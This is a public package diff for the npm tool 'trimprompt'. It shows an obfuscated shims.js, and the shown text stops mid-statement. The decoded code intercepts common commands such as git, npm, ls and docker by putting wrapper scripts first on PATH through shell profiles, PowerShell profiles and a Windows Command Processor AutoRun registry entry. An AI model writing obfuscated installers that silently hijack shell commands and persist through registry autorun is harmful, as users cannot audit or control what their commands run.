trimprompt 1.0.29 → 1.0.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -0
- package/api-proxy.js +1 -1
- package/cache-manager.js +1 -0
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -0
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +99 -1
- package/filters/index.js +185 -1
- package/filters/js.js +78 -1
- package/filters/python.js +130 -1
- package/filters/rust.js +115 -1
- package/filters/shell.js +395 -1
- package/hooks/claude-hook.js +79 -0
- package/index.html +339 -119
- package/mcp.js +132 -1
- package/package.json +1 -4
- package/proxy-conv.js +181 -1
- package/proxy-daemon.js +382 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
- package/traffic-interceptor.js +1 -1
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x2fa901=a0_0x2241;(function(_0x1f1f87,_0x1b1c42){const _0x23b1d0=a0_0x2241,_0x3e6ec1=_0x1f1f87();while(!![]){try{const _0x48952f=parseInt(_0x23b1d0(0x142))/0x1*(parseInt(_0x23b1d0(0x160))/0x2)+-parseInt(_0x23b1d0(0x15c))/0x3*(parseInt(_0x23b1d0(0x132))/0x4)+-parseInt(_0x23b1d0(0x178))/0x5*(parseInt(_0x23b1d0(0x198))/0x6)+parseInt(_0x23b1d0(0x14c))/0x7+-parseInt(_0x23b1d0(0x12d))/0x8*(parseInt(_0x23b1d0(0x18b))/0x9)+parseInt(_0x23b1d0(0x18c))/0xa+-parseInt(_0x23b1d0(0x14e))/0xb*(parseInt(_0x23b1d0(0x197))/0xc);if(_0x48952f===_0x1b1c42)break;else _0x3e6ec1['push'](_0x3e6ec1['shift']());}catch(_0x2b5a71){_0x3e6ec1['push'](_0x3e6ec1['shift']());}}}(a0_0x7a36,0x7e152));function a0_0x2241(_0x582be8,_0x241108){_0x582be8=_0x582be8-0x11f;const _0x7a36df=a0_0x7a36();let _0x2241bb=_0x7a36df[_0x582be8];return _0x2241bb;}var __createBinding=this&&this[a0_0x2fa901(0x166)]||(Object['create']?function(_0x3a54d6,_0x43c492,_0x2a1b1f,_0x18cde0){const _0x138d0d=a0_0x2fa901;if(_0x18cde0===undefined)_0x18cde0=_0x2a1b1f;var _0x244d15=Object[_0x138d0d(0x13b)](_0x43c492,_0x2a1b1f);(!_0x244d15||(_0x138d0d(0x13f)in _0x244d15?!_0x43c492[_0x138d0d(0x16e)]:_0x244d15[_0x138d0d(0x172)]||_0x244d15[_0x138d0d(0x193)]))&&(_0x244d15={'enumerable':!![],'get':function(){return _0x43c492[_0x2a1b1f];}}),Object[_0x138d0d(0x18e)](_0x3a54d6,_0x18cde0,_0x244d15);}:function(_0x520378,_0x1b9fd7,_0x34f522,_0x5aeec7){if(_0x5aeec7===undefined)_0x5aeec7=_0x34f522;_0x520378[_0x5aeec7]=_0x1b9fd7[_0x34f522];}),__setModuleDefault=this&&this[a0_0x2fa901(0x130)]||(Object[a0_0x2fa901(0x164)]?function(_0x87c07a,_0x16b26f){const _0x51bd54=a0_0x2fa901;Object[_0x51bd54(0x18e)](_0x87c07a,_0x51bd54(0x125),{'enumerable':!![],'value':_0x16b26f});}:function(_0x54129e,_0x1d07e5){const _0x5a38ab=a0_0x2fa901;_0x54129e[_0x5a38ab(0x125)]=_0x1d07e5;}),__importStar=this&&this[a0_0x2fa901(0x139)]||(function(){var _0x1cb983=function(_0x2a8d58){return _0x1cb983=Object['getOwnPropertyNames']||function(_0x56c441){const _0x2cb5bf=a0_0x2241;var _0x4a8254=[];for(var _0x28a639 in _0x56c441)if(Object[_0x2cb5bf(0x199)]['hasOwnProperty'][_0x2cb5bf(0x18a)](_0x56c441,_0x28a639))_0x4a8254[_0x4a8254[_0x2cb5bf(0x124)]]=_0x28a639;return _0x4a8254;},_0x1cb983(_0x2a8d58);};return function(_0x3dab35){const _0x3ac621=a0_0x2241;if(_0x3dab35&&_0x3dab35['__esModule'])return _0x3dab35;var _0x263fbb={};if(_0x3dab35!=null){for(var _0x1c800b=_0x1cb983(_0x3dab35),_0x8f8d2b=0x0;_0x8f8d2b<_0x1c800b[_0x3ac621(0x124)];_0x8f8d2b++)if(_0x1c800b[_0x8f8d2b]!==_0x3ac621(0x125))__createBinding(_0x263fbb,_0x3dab35,_0x1c800b[_0x8f8d2b]);}return __setModuleDefault(_0x263fbb,_0x3dab35),_0x263fbb;};}());function a0_0x7a36(){const _0x347026=['pnpm',';=%\x22','12cdaGqp','474348tFRNOV','prototype','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','755','find','dirname','yarn','if\x20exist\x20\x22','length','default','\x27,\x20\x27User\x27)','utf8','execFileSync','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','child_process','npm','2199792XCcmHh','.cmd',')\x20else\x20(','__setModuleDefault','.zshrc','4PGugNf','trim.cmd','join','grep','pytest','cat','Failed\x20to\x20install\x20shims:\x20','__importStar','platform','getOwnPropertyDescriptor','\x0a$env:PATH\x20=\x20\x22','Failed\x20to\x20uninstall\x20shims:\x20','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','get','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','pipe','41086kiEUxh','\x20@args\x20}\x20else\x20{\x20&\x20','replace','glab','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','cargo','some','-NoProfile','\x20%*','\x20\x20trim\x20','287042DNNmaH','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','608289ohEkvS','\x20@args\x20}\x0a','export\x20PATH=\x22','readdirSync','.profile','unlinkSync','pwsh','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','split','-Command','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','@echo\x20off','.trimprompt','.bashrc','1288365SxXoBe','Remove-ItemProperty\x20-Path\x20\x27','homedir','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','22WDXoZj','================================================================================','existsSync','powershell\x20-NoProfile\x20-Command\x20\x22','create','\x20&\x20','__createBinding','filter','$PROFILE.CurrentUserCurrentHost','docker','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell.exe','.bash_profile','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','__esModule','readFileSync','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','includes','writable','win32','\x20\x22$@\x22;\x20fi\x0a','trim','message',';\x22\x20+\x20$env:PATH\x0a','5MBHkbI','$PROFILE.CurrentUserAllHosts','ignore','TrimPrompt\x20successfully\x20installed\x20for\x20','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','mkdirSync','New-Item\x20-Path\x20\x27',':$PATH\x22','push','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','kubectl','shims','tree','npx','uninstallShims','chmodSync','toLowerCase','\x0a#\x20','call','9XKoapt','8622680edIDtR','powershell','defineProperty',':$PATH\x22\x0a','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','execSync','path','configurable','writeFileSync'];a0_0x7a36=function(){return _0x347026;};return a0_0x7a36();}Object[a0_0x2fa901(0x18e)](exports,a0_0x2fa901(0x16e),{'value':!![]}),exports['installShims']=installShims,exports[a0_0x2fa901(0x186)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x2fa901(0x192))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x2fa901(0x184),a0_0x2fa901(0x137),'read',a0_0x2fa901(0x135),'rg','ruff','git','gh',a0_0x2fa901(0x145),a0_0x2fa901(0x147),'npm',a0_0x2fa901(0x195),a0_0x2fa901(0x185),a0_0x2fa901(0x122),a0_0x2fa901(0x182),a0_0x2fa901(0x169),a0_0x2fa901(0x136),'pip','pip3','go',a0_0x2fa901(0x120)],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0x3ebf01=a0_0x2fa901;return require(_0x3ebf01(0x12b))[_0x3ebf01(0x191)];}function getExecFileSync(){const _0x27ca1a=a0_0x2fa901;return require(_0x27ca1a(0x12b))[_0x27ca1a(0x128)];}function ensureProfileContains(_0x2ee0ab,_0x40f9de,_0x2fca86){const _0x328013=a0_0x2fa901;try{const _0x171db6=path[_0x328013(0x121)](_0x2ee0ab);!fs[_0x328013(0x162)](_0x171db6)&&fs[_0x328013(0x17d)](_0x171db6,{'recursive':!![]});if(fs[_0x328013(0x162)](_0x2ee0ab)){const _0x3d6cbb=fs[_0x328013(0x16f)](_0x2ee0ab,_0x328013(0x127));if(_0x3d6cbb[_0x328013(0x171)](_0x40f9de))return;fs['appendFileSync'](_0x2ee0ab,_0x2fca86,_0x328013(0x127));}else fs[_0x328013(0x194)](_0x2ee0ab,_0x2fca86,_0x328013(0x127));}catch{}}function removeProfileBlock(_0x1eaede,_0x242b1a){const _0x363a21=a0_0x2fa901;try{if(!fs[_0x363a21(0x162)](_0x1eaede))return;const _0x708000=fs[_0x363a21(0x16f)](_0x1eaede,_0x363a21(0x127));if(!_0x708000[_0x363a21(0x171)](_0x242b1a))return;const _0x4598c6=_0x708000[_0x363a21(0x156)]('\x0a'),_0xfa15d0=[];let _0x2e39f4=![];for(let _0x5790b9=0x0;_0x5790b9<_0x4598c6[_0x363a21(0x124)];_0x5790b9++){if(_0x4598c6[_0x5790b9]['includes'](_0x242b1a)){_0x2e39f4=!![];continue;}if(_0x2e39f4){_0x2e39f4=![];continue;}_0xfa15d0[_0x363a21(0x180)](_0x4598c6[_0x5790b9]);}const _0x93a315=_0xfa15d0[_0x363a21(0x134)]('\x0a')[_0x363a21(0x144)](/\n{3,}/g,'\x0a\x0a');fs[_0x363a21(0x194)](_0x1eaede,_0x93a315,_0x363a21(0x127));}catch{}}function collectPowerShellProfiles(){const _0x56d2f8=a0_0x2fa901,_0x4a99e9=getExecSync(),_0x29f94c=[],_0x3fca4b=[[_0x56d2f8(0x18d),_0x56d2f8(0x168)],[_0x56d2f8(0x18d),'$PROFILE.CurrentUserAllHosts']];try{_0x4a99e9(_0x56d2f8(0x190),{'stdio':'ignore'}),_0x3fca4b[_0x56d2f8(0x180)]([_0x56d2f8(0x154),_0x56d2f8(0x179)]);}catch{}for(const [_0x345ad7,_0x57bbde]of _0x3fca4b){try{const _0x417a80=_0x4a99e9(_0x345ad7+'\x20-NoProfile\x20-Command\x20\x22'+_0x57bbde+'\x22',{'encoding':_0x56d2f8(0x127)})['trim']();_0x417a80&&!_0x29f94c[_0x56d2f8(0x148)](_0x3ce435=>_0x3ce435['toLowerCase']()===_0x417a80['toLowerCase']())&&_0x29f94c[_0x56d2f8(0x180)](_0x417a80);}catch{}}return _0x29f94c;}function getBashProfilesWindows(){const _0x263841=a0_0x2fa901,_0x8c486f=os[_0x263841(0x15e)]();return['.bashrc','.bash_profile']['map'](_0x497695=>path['join'](_0x8c486f,_0x497695));}function getBroadcastCommand(){const _0x4fe4b5=a0_0x2fa901;return _0x4fe4b5(0x170);}function installShims(){const _0xc5a5ae=a0_0x2fa901,_0x10b0db=path[_0xc5a5ae(0x134)](os['homedir'](),_0xc5a5ae(0x15a),_0xc5a5ae(0x183));try{!fs[_0xc5a5ae(0x162)](_0x10b0db)&&fs[_0xc5a5ae(0x17d)](_0x10b0db,{'recursive':!![]});const _0x128bb5=os['platform']()===_0xc5a5ae(0x173);for(const _0x5e2201 of SHIMMED_COMMANDS){if(_0x128bb5){const _0x48c532=path[_0xc5a5ae(0x134)](_0x10b0db,_0x5e2201+_0xc5a5ae(0x12e)),_0x534012=process.env.APPDATA?path[_0xc5a5ae(0x134)](process.env.APPDATA,_0xc5a5ae(0x12c)):'',_0x29b386=_0x534012?_0xc5a5ae(0x123)+path[_0xc5a5ae(0x134)](_0x534012,_0xc5a5ae(0x133))+'\x22':_0xc5a5ae(0x146),_0x160b86=[_0xc5a5ae(0x159),_0x29b386+'\x20(',_0xc5a5ae(0x14b)+_0x5e2201+_0xc5a5ae(0x14a),_0xc5a5ae(0x12f),'\x20\x20set\x20\x22PATH=%PATH:'+_0x10b0db+_0xc5a5ae(0x196),'\x20\x20'+_0x5e2201+_0xc5a5ae(0x14a),')'][_0xc5a5ae(0x134)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x48c532,_0x160b86,_0xc5a5ae(0x127));const _0x91dd35=path['join'](_0x10b0db,_0x5e2201+'.ps1'),_0x5c19a8='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x5e2201+_0xc5a5ae(0x143)+_0x5e2201+_0xc5a5ae(0x14f);fs[_0xc5a5ae(0x194)](_0x91dd35,_0x5c19a8,_0xc5a5ae(0x127));const _0x5e4f98=path[_0xc5a5ae(0x134)](_0x10b0db,_0x5e2201),_0x457514=_0x10b0db[_0xc5a5ae(0x144)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x41198d,_0x23ce71)=>'/'+_0x23ce71[_0xc5a5ae(0x188)]()),_0x399240='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x5e2201+_0xc5a5ae(0x14d)+_0x457514+':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x5e2201+'\x20\x22$@\x22;\x20fi\x0a';fs['writeFileSync'](_0x5e4f98,_0x399240,_0xc5a5ae(0x127));}else{const _0x58da8c=path[_0xc5a5ae(0x134)](_0x10b0db,_0x5e2201),_0x16b249='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x5e2201+_0xc5a5ae(0x155)+_0x5e2201+_0xc5a5ae(0x174);fs[_0xc5a5ae(0x194)](_0x58da8c,_0x16b249,_0xc5a5ae(0x127)),fs[_0xc5a5ae(0x187)](_0x58da8c,_0xc5a5ae(0x11f));}}let _0x299d8e=![],_0x132c80='';if(_0x128bb5)try{const _0x2995b1=getExecSync(),_0xcf5109=_0xc5a5ae(0x189)+PROFILE_MARKER+_0xc5a5ae(0x13c)+_0x10b0db+_0xc5a5ae(0x177),_0x1396a3=collectPowerShellProfiles();for(const _0x2e1307 of _0x1396a3){ensureProfileContains(_0x2e1307,_0x10b0db,_0xcf5109);}try{const _0x582775=getExecFileSync(),_0x2e51d6=_0xc5a5ae(0x123)+_0x10b0db+'\x22\x20set\x20\x22PATH='+_0x10b0db+';%PATH%\x22',_0x419585=_0xc5a5ae(0x158);let _0x14dd79='';try{const _0x5b9ca2=_0xc5a5ae(0x12a)+_0x419585+_0xc5a5ae(0x13e);_0x14dd79=_0x582775(_0xc5a5ae(0x16b),[_0xc5a5ae(0x149),_0xc5a5ae(0x157),_0x5b9ca2],{'encoding':_0xc5a5ae(0x127),'stdio':['pipe','pipe',_0xc5a5ae(0x17a)]})['trim']();}catch{}if(!_0x14dd79[_0xc5a5ae(0x171)](_0x10b0db)){const _0x12bc0c=_0x14dd79?_0x14dd79+_0xc5a5ae(0x165)+_0x2e51d6:_0x2e51d6,_0x15e010=_0xc5a5ae(0x17e)+_0x419585+_0xc5a5ae(0x19a)+_0x419585+_0xc5a5ae(0x129)+_0x12bc0c+'\x27';_0x582775('powershell.exe',[_0xc5a5ae(0x149),'-Command',_0x15e010],{'stdio':'ignore'});}}catch{}try{const _0x53b593=_0x10b0db['replace'](/\\/g,'/')[_0xc5a5ae(0x144)](/^([A-Za-z]):/,(_0x617115,_0x1b2df8)=>'/'+_0x1b2df8[_0xc5a5ae(0x188)]()),_0x16ff6f=_0xc5a5ae(0x189)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0x53b593+_0xc5a5ae(0x18f),_0x2d6b67=getBashProfilesWindows();let _0x16ff1e=![];for(const _0x365b3e of _0x2d6b67){fs[_0xc5a5ae(0x162)](_0x365b3e)&&(ensureProfileContains(_0x365b3e,_0x53b593,_0x16ff6f),_0x16ff1e=!![]);}!_0x16ff1e&&ensureProfileContains(_0x2d6b67[0x0],_0x53b593,_0x16ff6f);}catch{}const _0x459242=_0xc5a5ae(0x15f),_0x57e191=_0x2995b1(_0xc5a5ae(0x163)+_0x459242+'\x22',{'encoding':_0xc5a5ae(0x127),'stdio':[_0xc5a5ae(0x141),'pipe','ignore']})[_0xc5a5ae(0x175)]();if(!_0x57e191[_0xc5a5ae(0x171)](_0x10b0db)){const _0x4a0ff6=_0x10b0db+';'+_0x57e191,_0x29bf91=_0x4a0ff6[_0xc5a5ae(0x144)](/'/g,'\x27\x27'),_0x39910b=_0xc5a5ae(0x181)+_0x29bf91+_0xc5a5ae(0x126);_0x2995b1('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x39910b+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x1a92da=path[_0xc5a5ae(0x134)](process.env.APPDATA||'',_0xc5a5ae(0x12c),'trim.ps1');if(fs[_0xc5a5ae(0x162)](_0x1a92da))try{fs[_0xc5a5ae(0x153)](_0x1a92da);}catch{}_0x299d8e=!![];}catch(_0x50e0a2){_0x132c80=_0xc5a5ae(0x17c)+_0x10b0db;}else try{const _0x33f4e4=_0xc5a5ae(0x150)+_0x10b0db+':$PATH\x22\x0a',_0x4fedf6=os[_0xc5a5ae(0x15e)](),_0x11ef9f=['.bashrc',_0xc5a5ae(0x131),'.bash_profile','.profile'];let _0x4d0f6c=![];for(const _0x15cf7d of _0x11ef9f){const _0x150275=path[_0xc5a5ae(0x134)](_0x4fedf6,_0x15cf7d);fs[_0xc5a5ae(0x162)](_0x150275)&&(ensureProfileContains(_0x150275,_0x10b0db,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x33f4e4),_0x4d0f6c=!![]);}if(!_0x4d0f6c){const _0x501f54=path['join'](_0x4fedf6,_0xc5a5ae(0x15b));ensureProfileContains(_0x501f54,_0x10b0db,_0xc5a5ae(0x189)+PROFILE_MARKER+'\x0a'+_0x33f4e4);}_0x299d8e=!![];}catch(_0x248498){_0x132c80='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x10b0db+_0xc5a5ae(0x17f);}const _0x1341e0=[_0xc5a5ae(0x161),_0xc5a5ae(0x16d),_0xc5a5ae(0x161),_0xc5a5ae(0x140),'\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.',_0xc5a5ae(0x161)][_0xc5a5ae(0x134)]('\x0a'),_0x42327b=_0x299d8e?_0x1341e0:_0xc5a5ae(0x17b)+SHIMMED_COMMANDS['length']+'\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x132c80;return{'success':!![],'pathDir':_0x10b0db,'message':_0x42327b};}catch(_0xcdb6fa){return{'success':![],'pathDir':_0x10b0db,'message':_0xc5a5ae(0x138)+_0xcdb6fa[_0xc5a5ae(0x176)]};}}function uninstallShims(){const _0xafdb55=a0_0x2fa901,_0x2cf5bd=path[_0xafdb55(0x134)](os[_0xafdb55(0x15e)](),_0xafdb55(0x15a),_0xafdb55(0x183)),_0x407494=os[_0xafdb55(0x13a)]()==='win32';try{if(_0x407494){const _0x128ff8=getExecSync();try{const _0x3b7876=getExecFileSync(),_0x10d719=_0xafdb55(0x158),_0x33a475=_0xafdb55(0x12a)+_0x10d719+_0xafdb55(0x13e),_0x4efd1b=_0x3b7876(_0xafdb55(0x16b),[_0xafdb55(0x149),_0xafdb55(0x157),_0x33a475],{'encoding':_0xafdb55(0x127),'stdio':[_0xafdb55(0x141),_0xafdb55(0x141),'ignore']})[_0xafdb55(0x175)]();if(_0x4efd1b['includes'](_0x2cf5bd)){const _0x53ccba=_0x4efd1b[_0xafdb55(0x156)](_0xafdb55(0x165))[_0xafdb55(0x167)](_0x2ea1ca=>!_0x2ea1ca[_0xafdb55(0x171)](_0x2cf5bd));if(_0x53ccba[_0xafdb55(0x124)]===0x0){const _0x5c931d=_0xafdb55(0x15d)+_0x10d719+_0xafdb55(0x16a);_0x3b7876(_0xafdb55(0x16b),[_0xafdb55(0x149),'-Command',_0x5c931d],{'stdio':_0xafdb55(0x17a)});}else{const _0x405878=_0x53ccba['join']('\x20&\x20'),_0x4f6a80='Set-ItemProperty\x20-Path\x20\x27'+_0x10d719+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x405878+'\x27';_0x3b7876(_0xafdb55(0x16b),[_0xafdb55(0x149),'-Command',_0x4f6a80],{'stdio':_0xafdb55(0x17a)});}}}catch{}try{const _0x638134=collectPowerShellProfiles();for(const _0x5e4a86 of _0x638134){removeProfileBlock(_0x5e4a86,PROFILE_MARKER);}}catch{}try{for(const _0xd0d959 of getBashProfilesWindows()){removeProfileBlock(_0xd0d959,PROFILE_MARKER);}}catch{}try{const _0x4d5652='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x2d9087=_0x128ff8(_0xafdb55(0x163)+_0x4d5652+'\x22',{'encoding':_0xafdb55(0x127),'stdio':['pipe',_0xafdb55(0x141),_0xafdb55(0x17a)]})[_0xafdb55(0x175)]();if(_0x2d9087['includes'](_0x2cf5bd)){const _0x41aade=_0x2d9087[_0xafdb55(0x156)](';')[_0xafdb55(0x167)](_0x1c8c0e=>_0x1c8c0e[_0xafdb55(0x175)]()[_0xafdb55(0x188)]()!==_0x2cf5bd['toLowerCase']())[_0xafdb55(0x134)](';'),_0x43699e=_0x41aade[_0xafdb55(0x144)](/'/g,'\x27\x27'),_0x408b9a='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x43699e+_0xafdb55(0x126);_0x128ff8(_0xafdb55(0x163)+_0x408b9a+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0xafdb55(0x17a)});}}catch{}}else{const _0x4cf7c2=os[_0xafdb55(0x15e)](),_0x4c6a10=[_0xafdb55(0x15b),_0xafdb55(0x131),_0xafdb55(0x16c),_0xafdb55(0x152)];for(const _0x405ae0 of _0x4c6a10){removeProfileBlock(path['join'](_0x4cf7c2,_0x405ae0),PROFILE_MARKER);}}if(fs[_0xafdb55(0x162)](_0x2cf5bd)){const _0x210e07=fs[_0xafdb55(0x151)](_0x2cf5bd);for(const _0x2c3e84 of _0x210e07){fs[_0xafdb55(0x153)](path['join'](_0x2cf5bd,_0x2c3e84));}fs['rmdirSync'](_0x2cf5bd);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x6c763b){return{'success':![],'message':_0xafdb55(0x13d)+_0x6c763b[_0xafdb55(0x176)]};}}
|
|
1
|
+
'use strict';const a0_0x570c5c=a0_0x2c83;(function(_0x27041e,_0xdec1e6){const _0x5e0d00=a0_0x2c83,_0x17cb52=_0x27041e();while(!![]){try{const _0x13d250=-parseInt(_0x5e0d00(0x12f))/0x1*(parseInt(_0x5e0d00(0xec))/0x2)+parseInt(_0x5e0d00(0xff))/0x3*(-parseInt(_0x5e0d00(0x11a))/0x4)+parseInt(_0x5e0d00(0x103))/0x5*(-parseInt(_0x5e0d00(0x126))/0x6)+-parseInt(_0x5e0d00(0xb9))/0x7*(parseInt(_0x5e0d00(0xf2))/0x8)+parseInt(_0x5e0d00(0xe9))/0x9+parseInt(_0x5e0d00(0xf6))/0xa+parseInt(_0x5e0d00(0x11b))/0xb*(parseInt(_0x5e0d00(0xb2))/0xc);if(_0x13d250===_0xdec1e6)break;else _0x17cb52['push'](_0x17cb52['shift']());}catch(_0x490489){_0x17cb52['push'](_0x17cb52['shift']());}}}(a0_0x4930,0x83845));var __createBinding=this&&this[a0_0x570c5c(0x102)]||(Object['create']?function(_0x26176a,_0x55258e,_0x3a202c,_0x1d9dc6){const _0x511b60=a0_0x570c5c;if(_0x1d9dc6===undefined)_0x1d9dc6=_0x3a202c;var _0x419a0c=Object[_0x511b60(0x104)](_0x55258e,_0x3a202c);(!_0x419a0c||(_0x511b60(0x114)in _0x419a0c?!_0x55258e['__esModule']:_0x419a0c[_0x511b60(0x101)]||_0x419a0c[_0x511b60(0xce)]))&&(_0x419a0c={'enumerable':!![],'get':function(){return _0x55258e[_0x3a202c];}}),Object[_0x511b60(0x117)](_0x26176a,_0x1d9dc6,_0x419a0c);}:function(_0x466908,_0x57e80b,_0x336281,_0xc2a5c1){if(_0xc2a5c1===undefined)_0xc2a5c1=_0x336281;_0x466908[_0xc2a5c1]=_0x57e80b[_0x336281];}),__setModuleDefault=this&&this[a0_0x570c5c(0xfc)]||(Object[a0_0x570c5c(0xf1)]?function(_0x17b3a8,_0x46ca01){const _0x27d22c=a0_0x570c5c;Object[_0x27d22c(0x117)](_0x17b3a8,_0x27d22c(0x131),{'enumerable':!![],'value':_0x46ca01});}:function(_0x20f7df,_0x19e2fd){const _0x537c73=a0_0x570c5c;_0x20f7df[_0x537c73(0x131)]=_0x19e2fd;}),__importStar=this&&this['__importStar']||(function(){var _0xe5d00e=function(_0x1f6f28){const _0x22048e=a0_0x2c83;return _0xe5d00e=Object[_0x22048e(0x107)]||function(_0x405501){const _0x2d0869=_0x22048e;var _0x2820e8=[];for(var _0x22f662 in _0x405501)if(Object[_0x2d0869(0x132)]['hasOwnProperty'][_0x2d0869(0xfa)](_0x405501,_0x22f662))_0x2820e8[_0x2820e8[_0x2d0869(0xd4)]]=_0x22f662;return _0x2820e8;},_0xe5d00e(_0x1f6f28);};return function(_0x324c05){const _0x237498=a0_0x2c83;if(_0x324c05&&_0x324c05['__esModule'])return _0x324c05;var _0x1f77c3={};if(_0x324c05!=null){for(var _0x2adb35=_0xe5d00e(_0x324c05),_0x423086=0x0;_0x423086<_0x2adb35[_0x237498(0xd4)];_0x423086++)if(_0x2adb35[_0x423086]!==_0x237498(0x131))__createBinding(_0x1f77c3,_0x324c05,_0x2adb35[_0x423086]);}return __setModuleDefault(_0x1f77c3,_0x324c05),_0x1f77c3;};}());Object[a0_0x570c5c(0x117)](exports,a0_0x570c5c(0x128),{'value':!![]}),exports[a0_0x570c5c(0x121)]=installShims,exports[a0_0x570c5c(0xea)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x570c5c(0xe2))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x570c5c(0xfd),'cat',a0_0x570c5c(0x122),a0_0x570c5c(0x106),'rg',a0_0x570c5c(0x124),a0_0x570c5c(0xe3),'gh','glab','cargo','npm',a0_0x570c5c(0xc8),'npx',a0_0x570c5c(0xeb),a0_0x570c5c(0xb7),a0_0x570c5c(0x11f),a0_0x570c5c(0x12b),a0_0x570c5c(0xb4),a0_0x570c5c(0x115),'go',a0_0x570c5c(0xe1)],PROFILE_MARKER=a0_0x570c5c(0xb8);function getExecSync(){const _0x5336d1=a0_0x570c5c;return require(_0x5336d1(0xde))[_0x5336d1(0xc0)];}function getExecFileSync(){const _0x3b863a=a0_0x570c5c;return require(_0x3b863a(0xde))[_0x3b863a(0xdc)];}function ensureProfileContains(_0x1e9ce2,_0x3b8e75,_0x1ce77f){const _0x105609=a0_0x570c5c;try{const _0x5be0a9=path['dirname'](_0x1e9ce2);!fs['existsSync'](_0x5be0a9)&&fs[_0x105609(0x116)](_0x5be0a9,{'recursive':!![]});if(fs[_0x105609(0xaf)](_0x1e9ce2)){const _0x48e7a1=fs['readFileSync'](_0x1e9ce2,_0x105609(0xb6));if(_0x48e7a1['includes'](_0x3b8e75))return;fs[_0x105609(0xb5)](_0x1e9ce2,_0x1ce77f,_0x105609(0xb6));}else fs['writeFileSync'](_0x1e9ce2,_0x1ce77f,'utf8');}catch{}}function removeProfileBlock(_0x48a2b3,_0x29698e){const _0x2798c8=a0_0x570c5c;try{if(!fs[_0x2798c8(0xaf)](_0x48a2b3))return;const 